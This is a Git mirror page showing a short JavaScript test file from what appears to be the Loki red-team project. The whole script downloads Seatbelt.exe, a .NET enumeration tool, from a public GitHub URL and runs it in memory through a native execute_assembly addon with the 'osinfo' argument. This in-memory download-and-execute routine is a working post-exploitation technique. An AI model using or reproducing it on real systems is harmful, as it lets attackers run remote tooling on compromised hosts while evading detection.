1
0
mirror of https://github.com/boku7/Loki synced 2026-06-06 15:24:27 +00:00
Files
boku7-Loki/node-addon/test_execute_assembly.js
T
2025-04-03 12:54:39 -07:00

23 lines
655 B
JavaScript

const https = require('https');
// URL of the file
const url = 'https://raw.githubusercontent.com/Flangvik/SharpCollection/refs/heads/master/NetFramework_4.7_x64/Seatbelt.exe';
// Fetch the file
https.get(url, (res) => {
const data = [];
res.on('data', (chunk) => {
data.push(chunk);
});
res.on('end', () => {
const byteBuffer = Buffer.concat(data);
let a = require("./execute_assembly/build/Debug/api.node");
console.log(a.execute_assembly(byteBuffer, false, ["osinfo"]));
console.log(a.execute_assembly(byteBuffer, true, ["osinfo"]));
});
}).on('error', (err) => {
console.error('Error fetching the file:', err);
});